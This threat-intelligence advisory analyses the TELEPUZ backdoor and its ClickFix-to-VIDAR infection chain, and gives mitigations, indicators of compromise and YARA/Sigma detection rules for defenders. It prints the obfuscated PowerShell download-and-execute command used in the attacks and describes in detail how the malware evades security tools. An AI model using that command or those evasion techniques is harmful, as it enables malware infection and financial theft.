1. Executive summary
Elastic Security Labs reports active in-the-wild distribution of TELEPUZ, a modular, lightweight Windows DLL malware likely operated as a Malware-as-a-Service (MaaS) since late April 2026. The malware spreads via a ClickFix social-engineering chain that executes obfuscated PowerShell to download a VIDAR Go variant, which in turn deploys the TELEPUZ stager and main payload. TELEPUZ is a full-featured backdoor employing indirect syscalls, UAC bypass, token stealing for SYSTEM privilege, and a 36-command instruction set including process hollowing, keylogging, and a Chromium DevTools Protocol-based web injection module targeting financial form fields such as IBANs. EMEA financial services clients face direct exposure to transaction manipulation and credential theft; the web injector's default configuration is designed to swap financial fields in real-time browser sessions.
2. Regulatory framing
| Article | Trigger (the fact in this item) | Practical impact |
|---|---|---|
| DORA Art. 18: classification of ICT-related incidents and cyber threats | TELEPUZ is a newly identified, actively developed cyber threat with a specific web-injection capability targeting financial transaction fields (IBAN). | Financial entities must classify this threat within their ICT threat taxonomy and assess whether any compromise triggers a major incident classification under their internal criteria. |
| NIS2 Art. 21(2)(d): supply chain security measures | The initial access vector (ClickFix) compromises users via malicious web content, and the malware leverages public third-party platforms (Telegram, Steam, Polygon blockchain) for resilient C2 fallback. | Ensure supply-chain and third-party risk controls account for abuse of legitimate public infrastructure (social platforms, blockchain RPCs) for C2 resolution and payload hosting. |
3. Technical analysis & attack chain
The following attack chain is corroborated by the Elastic Security Labs report. Attribution to a specific named actor is unconfirmed; no MITRE actor profile was resolved for this item. The MaaS assessment is based on build-submission volume and is single-sourced to Elastic.
Confirmed infection chain
- Initial Access (ClickFix): The user visits a malicious web page displaying a fake CAPTCHA or verification prompt. The user is tricked into copying and executing a Windows shell command. The executed PowerShell command uses string concatenation to evade static analysis:
C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -NoP -w h -ep bypass -c "$h='memsho'+'wblob[.]forum';$n='f322a5fa.exe';$u='https://'+$h+'/api/index.php?a=grab';$f=$env:TEMP+'\'+$n;[Net.WebClient]::new().('Down'+'loadFile')($u,$f);ri($f+':Zone.Identifier')-EA 0;& $f - Second Stage (VIDAR Go): The PowerShell script downloads
f322a5fa.exeto%TEMP%and executes it. This binary is a VIDAR Go variant (SHA256:580b441e2961739fd26e54e0a0ea08351cb10a51839519fc722cfa39ecd0c954). VIDAR downloads and executes the TELEPUZ stager (install.exe) and the main payload (telepuz.dll). - Third Stage (Stager): A small PE (13–15 KB, SHA256:
03fa348b70819296c958c842e7646b3b7efe5fa217ed5098143003c47995a746) downloads the main DLL, installs it in a configured folder, and executes it viarundll32.exewith a specified export name. - Execution and Migration: The main payload (Reference SHA256:
58aec6e3835aaf20f7b4a7e308b36a19e7454673a6f71783871e9bcf6cae8eed) is a 64-bit Windows DLL.DllMainre-executes the malware viarundll32.exeif the current process is notsvchost.exeorrundll32.exe. If running from%TEMP%, it migrates to a persistence directory or an%AppData%fallback, deletes the original, and creates the mutexcfgmgr_mtx. - Defense Evasion: The malware initializes an indirect syscall engine by mapping a fresh copy of
ntdll.dll, parsing syscall numbers, and patching trampolines into a randomly selected legitimate library (dfscli.dll,davhlpr.dll,msdtclog.dll,dsrole.dll, orsecur32.dll). It unhooking NTDLL by comparing loaded exports to a clean map. It patchesAmsiScanBuffer(returnsE_INVALIDARG) andEtwEventWrite,NtTraceEvent,NtTraceEventControl(returns zero). It removes third-partyDllNotificationcallbacks. - Anti-Analysis: Checks hardware constraints (<2 CPUs, <2GB RAM), LCIDs for CIS countries, and compares usernames/computer names against hardcoded sandbox/researcher identifiers. It checks
PEB.BeingDebugged,ProcessDebugPort,ProcessDebugFlags,ProcessDebugObjectHandle, and DR0–DR7 hardware breakpoints. If a debugger is found, it callsSleep(INFINITE). - Privilege Escalation: Uses the COM elevation moniker technique to bypass UAC. An alternative method uses AppInfo ALPC and DebugObjects (
winver.exeandcomputerdefault.exe). It steals SYSTEM tokens fromspoolsv.exe,msdtc.exe,WmiPrvSE.exe, orsvchost.exe. - Persistence: Installs as a Windows service by creating registry keys (e.g.,
HKLM\SYSTEM\CurrentControlSet\Services\CipherAllocator) to load within a newsvchost.exeinstance. - C2 Communication: Generates a session ID using FNV1 and ROR27 hashes of the computer name, volume serial, and OS install date. Attempts to connect to the primary C2 up to 10 times. If it fails, it resolves fallback C2 via:
- Telegram: Parses
t[.]me/chanadarkpart, XOR-decrypts with keyGoodman. - Steam Profile: Parses
steamcommunity[.]com//profiles/76561199705801219, XOR-decrypts with keyGoodmanor111111111. - DNS Record: Queries
codebasecode[.]com. - Polygon Blockchain: JSON-RPC POST to a pre-configured endpoint targeting contract
0xf55Bea1FdCf1c3ABb39ab92567C09aC1BFf6753Ewith selector0xc3f909d4. Decrypts the response using AES256-CBC (key:cee96a38e2dfe31ccf8c3aa7d0d9323e1e3183b2478ba582285822e943d242e9). If the response is <10 bytes, it acts as a kill switch (ExitThread). - C2 connection uses manual TCP sockets with SChannel for TLS, communicating over WebSockets at
/cdn/health?sid=<session_id>.
- Telegram: Parses
- Actions on Objectives: The malware supports 36 commands. Key capabilities include
DownloadRunPE(process hollowing intodllhost.exe),DownloadStartStealer,DownloadStartKeyLogger, andDownloadStartWebInjectModule. The WebInjector module communicates via STDIN/STDOUT and leverages the Chrome DevTools Protocol (CDP) to intercept browser sessions. Its default configuration targets financial fields, specifically swapping IBAN values in web forms.
4. Mitigation & containment
P1 — Within 24 hours
- Block C2 and Staging Infrastructure: Block the following domains and IPs at the firewall/proxy:
cal.joycedoula[.]com[.]br,cal.snehamumbai[.]org,memshowblob[.]forum,hurgadatour[.]shop,codebasecode[.]com, and all staging domains listed in §5. Block WebSocket traffic to/cdn/health?sid=and/ws/inject?cid=if egress inspection is available. - Block Polygon RPC Abuse: If endpoints do not require blockchain interaction, block egress JSON-RPC HTTP POST traffic to Polygon endpoints, specifically targeting
0xf55Bea1FdCf1c3ABb39ab92567C09aC1BFf6753E. - EDR/Hunting: Hunt for the creation of the
cfgmgr_mtx,bginfod_mtx, orwfj64_mtxmutexes. Hunt forrundll32.exeexecuting DLLs from%AppData%\Local\DCFG\Runtime\Themes\Processor\or%ProgramData%\XeroxPrint\Temp\Worker\. - Containment: Isolate any endpoints showing
svchost.exespawning with the service nameCipherAllocatororPilotmasterMast.
P2 — Within 72 hours
- Process Monitoring: Alert on
rundll32.exeordllhost.exemaking outbound TCP connections on port 443 without standard browser signatures. Alert oncomputerdefault.exeorwinver.exebeing launched in debug mode (indicator of the ALPC UAC bypass). - Registry Monitoring: Monitor for the creation of
HKLM\SYSTEM\CurrentControlSet\Services\CipherAllocatorandHKLM\SYSTEM\CurrentControlSet\Services\PilotmasterMast. - Browser Security: Enforce strict Content Security Policies (CSP) and disable remote debugging (CDP) on managed Chromium/Firefox deployments to disrupt the WebInjector module.
P3 — Within 7 days
- User Awareness: Warn users about the ClickFix social engineering vector (fake CAPTCHAs prompting PowerShell execution).
- Endpoint Hardening: Ensure AMSI and ETW are functioning correctly, though note TELEPUZ actively patches these; behavioral EDR rules are required.
5. Indicators of compromise
| Type | Value | Confidence | Source |
|---|---|---|---|
| sha256 | 58aec6e3835aaf20f7b4a7e308b36a19e7454673a6f71783871e9bcf6cae8eed | High | Elastic Security Labs |
| sha256 | bf3b4e645a3c0c23f87c55971069014f7424ad14497371ee7567eff68ffaf343 | High | Elastic Security Labs |
| sha256 | ff791fe1532a2dc3b3c188a71bfd0177f973ef228e4d1dda1db6d3c4b0d62b3e | High | Elastic Security Labs |
| sha256 | 580b441e2961739fd26e54e0a0ea08351cb10a51839519fc722cfa39ecd0c954 | High | Elastic Security Labs |
| sha256 | 03fa348b70819296c958c842e7646b3b7efe5fa217ed5098143003c47995a746 | High | Elastic Security Labs |
| sha256 | a955d7e2819d5fa8b5f879cb970e1a1a91327098a7383f2a03a5e1e7e19435e3 | High | Elastic Security Labs |
| sha256 | 9733a3f6409de81271f21993c7f8b9865ac9f5c68c3d4336e91afe6b312477eb | High | Elastic Security Labs |
| sha256 | 444f1c0c82b3f6cc31d685bac68b20edbde5722ce219af9cceab0c2a6537efc1 | High | Elastic Security Labs |
| mutex | cfgmgr_mtx | High | Elastic Security Labs |
| mutex | bginfod_mtx | High | Elastic Security Labs |
| mutex | wfj64_mtx | High | Elastic Security Labs |
| domain | cal.joycedoula[.]com[.]br | High | Elastic Security Labs |
| domain | cal.snehamumbai[.]org | High | Elastic Security Labs |
| domain | memshowblob[.]forum | High | Elastic Security Labs |
| domain | hurgadatour[.]shop | High | Elastic Security Labs |
| domain | codebasecode[.]com | High | Elastic Security Labs |
| domain | chubrik[.]sbs | High | Elastic Security Labs |
| domain | betalegenda[.]cfd | High | Elastic Security Labs |
| domain | mavpaprokla[.]lat | High | Elastic Security Labs |
| domain | comicstar[.]lat | High | Elastic Security Labs |
| domain | bigblower[.]click | High | Elastic Security Labs |
| domain | momasites[.]lol | High | Elastic Security Labs |
| domain | momasites[.]com | High | Elastic Security Labs |
| domain | mamsites[.]lol | High | Elastic Security Labs |
| domain | hardenedom[.]shop | High | Elastic Security Labs |
| domain | hardendedom[.]shop | High | Elastic Security Labs |
| domain | hardendom[.]shop | High | Elastic Security Labs |
| domain | hardeneddom[.]shop | High | Elastic Security Labs |
| domain | netblokirovka[.]asia | High | Elastic Security Labs |
| domain | netblokir[.]asia | High | Elastic Security Labs |
| domain | netlobikrovka[.]asia | High | Elastic Security Labs |
| domain | neblokirovka[.]as | High | Elastic Security Labs |
| domain | kidsko[.]shop | High | Elastic Security Labs |
| domain | mazaporka[.]shop | High | Elastic Security Labs |
| domain | krabsburger[.]xyz | High | Elastic Security Labs |
| domain | zewaplus[.]club | High | Elastic Security Labs |
| ipv4 | 172.67.215[.]214 | High | Elastic Security Labs |
| ipv4 | 172.67.165[.]144 | High | Elastic Security Labs |
| url | hxxps://steamcommunity[.]com//profiles/76561199705801219 | High | Elastic Security Labs |
| url | hxxps://t[.]me/chanadarkpart | High | Elastic Security Labs |
| filepath | %AppData%\Local\DCFG\Runtime\Themes\Processor\etwhost.dll | High | Elastic Security Labs |
| filepath | %AppData%\Roaming\StateRepository\Host\Recovery\systemreset.dll | High | Elastic Security Labs |
| filepath | %AppData%\Local\MiravaDevices\noraxrecovery.dll | High | Elastic Security Labs |
| filepath | %ProgramData%\XeroxPrint\Temp\Worker\grpeng.dll | High | Elastic Security Labs |
| filepath | %ProgramData%\Jundrax\Tracker\IrenScanner.dll | High | Elastic Security Labs |
| filepath | %ProgramData%\QualcommRF\dsp_agent.dll | High | Elastic Security Labs |
| registry | HKLM\SYSTEM\CurrentControlSet\Services\CipherAllocator | High | Elastic Security Labs |
| registry | HKLM\SYSTEM\CurrentControlSet\Services\PilotmasterMast | High | Elastic Security Labs |
sha256 58aec6e3835aaf20f7b4a7e308b36a19e7454673a6f71783871e9bcf6cae8eed
sha256 bf3b4e645a3c0c23f87c55971069014f7424ad14497371ee7567eff68ffaf343
sha256 ff791fe1532a2dc3b3c188a71bfd0177f973ef228e4d1dda1db6d3c4b0d62b3e
sha256 580b441e2961739fd26e54e0a0ea08351cb10a51839519fc722cfa39ecd0c954
sha256 03fa348b70819296c958c842e7646b3b7efe5fa217ed5098143003c47995a746
sha256 a955d7e2819d5fa8b5f879cb970e1a1a91327098a7383f2a03a5e1e7e19435e3
sha256 9733a3f6409de81271f21993c7f8b9865ac9f5c68c3d4336e91afe6b312477eb
sha256 444f1c0c82b3f6cc31d685bac68b20edbde5722ce219af9cceab0c2a6537efc1
mutex cfgmgr_mtx
mutex bginfod_mtx
mutex wfj64_mtx
domain cal.joycedoula[.]com[.]br
domain cal.snehamumbai[.]org
domain memshowblob[.]forum
domain hurgadatour[.]shop
domain codebasecode[.]com
domain chubrik[.]sbs
domain betalegenda[.]cfd
domain mavpaprokla[.]lat
domain comicstar[.]lat
domain bigblower[.]click
domain momasites[.]lol
domain momasites[.]com
domain mamsites[.]lol
domain hardenedom[.]shop
domain hardendedom[.]shop
domain hardendom[.]shop
domain hardeneddom[.]shop
domain netblokirovka[.]asia
domain netblokir[.]asia
domain netlobikrovka[.]asia
domain neblokirovka[.]as
domain kidsko[.]shop
domain mazaporka[.]shop
domain krabsburger[.]xyz
domain zewaplus[.]club
ipv4 172.67.215[.]214
ipv4 172.67.165[.]144
url hxxps://steamcommunity[.]com//profiles/76561199705801219
url hxxps://t[.]me/chanadarkpart
filepath %AppData%\Local\DCFG\Runtime\Themes\Processor\etwhost.dll
filepath %AppData%\Roaming\StateRepository\Host\Recovery\systemreset.dll
filepath %AppData%\Local\MiravaDevices\noraxrecovery.dll
filepath %ProgramData%\XeroxPrint\Temp\Worker\grpeng.dll
filepath %ProgramData%\Jundrax\Tracker\IrenScanner.dll
filepath %ProgramData%\QualcommRF\dsp_agent.dll
registry HKLM\SYSTEM\CurrentControlSet\Services\CipherAllocator
registry HKLM\SYSTEM\CurrentControlSet\Services\PilotmasterMast
6. Detection
rule TELEPUZ_Main_Payload {
meta:
author = "Adverse Trace"
date = "2026-07-15"
reference = "https://www.elastic.co/security-labs/telepuz-maas-malware-clickfix"
description = "Detects TELEPUZ main payload based on mutex names, service names, and C2 paths."
strings:
$mutex1 = "cfgmgr_mtx" wide ascii
$mutex2 = "bginfod_mtx" wide ascii
$mutex3 = "wfj64_mtx" wide ascii
$svc1 = "CipherAllocator" wide ascii
$svc2 = "PilotmasterMast" wide ascii
$path1 = "/cdn/health?sid=" wide ascii
$path2 = "/ws/inject?cid=" wide ascii
$path3 = "/static/modules/kMP6HBGEA8.bin" wide ascii
$path4 = "/static/modules/yaVaoS3Bw.bin" wide ascii
$path5 = "/static/modules/W2UMxylgG_.bin" wide ascii
$path6 = "/static/assets/chromeelevator.bin" wide ascii
$marker = "telemetriawork" wide ascii
condition:
uint16(0) == 0x5A4D and 4 of them
}
rule TELEPUZ_WebInjector_Config {
meta:
author = "Adverse Trace"
date = "2026-07-15"
reference = "https://www.elastic.co/security-labs/telepuz-maas-malware-clickfix"
description = "Detects TELEPUZ WebInjector module configuration strings."
strings:
$json1 = "\"probe_port_start\"" wide ascii
$json2 = "\"force_kill_browser\"" wide ascii
$json3 = "\"attach_all_tabs\"" wide ascii
$json4 = "\"intercept_hold\"" wide ascii
$json5 = "\"remove_where_iban\"" wide ascii
$json6 = "\"amount_field\"" wide ascii
condition:
uint16(0) == 0x5A4D and 4 of them
}
title: TELEPUZ Malware Service Creation
id: 7a9c1f2d-4b5e-4a6c-8d7e-1f2a3b4c5d6e
status: experimental
description: Detects the creation of Windows services associated with TELEPUZ malware persistence.
references:
- https://www.elastic.co/security-labs/telepuz-maas-malware-clickfix
author: Adverse Trace
date: 2026/07/15
tags:
- attack.persistence
- attack.t1543.003
logsource:
product: windows
service: system
detection:
selection:
EventID: 7045
ServiceName:
- 'CipherAllocator'
- 'PilotmasterMast'
condition: selection
falsepositives:
- Unknown
level: critical
title: TELEPUZ Malware Execution via rundll32
id: 8b0d2e3c-5c6f-4d7e-9e8a-2b3c4d5e6f7a
status: experimental
description: Detects rundll32.exe executing DLLs from known TELEPUZ persistence or installation paths.
references:
- https://www.elastic.co/security-labs/telepuz-maas-malware-clickfix
author: Adverse Trace
date: 2026/07/15
tags:
- attack.execution
- attack.t1218.011
logsource:
product: windows
category: process_creation
detection:
selection_tool:
Image|endswith: '\rundll32.exe'
selection_path:
CommandLine|contains:
- '\DCFG\Runtime\Themes\Processor\etwhost.dll'
- '\StateRepository\Host\Recovery\systemreset.dll'
- '\MiravaDevices\noraxrecovery.dll'
- '\XeroxPrint\Temp\Worker\grpeng.dll'
- '\Jundrax\Tracker\IrenScanner.dll'
- '\QualcommRF\dsp_agent.dll'
condition: selection_tool and selection_path
falsepositives:
- Unknown
level: critical
7. Sources
- Elastic Security Labs, "TELEPUZ: a modular MaaS malware spreading via CLICKFIX-VIDAR chains", https://www.elastic.co/security-labs/telepuz-maas-malware-clickfix, Published 2026-07-16.
8. Adverse Trace position
TELEPUZ represents a high-severity threat to EMEA financial services due to its specific targeting of financial data (IBAN swapping) via the WebInjector module and its robust evasion capabilities (indirect syscalls, AMSI/ETW patching). While the MaaS infrastructure is currently small with only two primary C2 domains identified, the rapid development cycle and high volume of VirusTotal submissions indicate imminent scale. Attribution is unconfirmed. The reliance on blockchain and social platforms for C2 fallback complicates network-level blocking. Clients should immediately implement the provided YARA/Sigma rules, block the listed staging and C2 domains, and alert on the specific service names (CipherAllocator, PilotmasterMast). Adverse Trace will continue to track TELEPUZ build submissions and update IOCs as the infrastructure evolves.
Published via PulseTrace — Adverse Trace threat intelligence.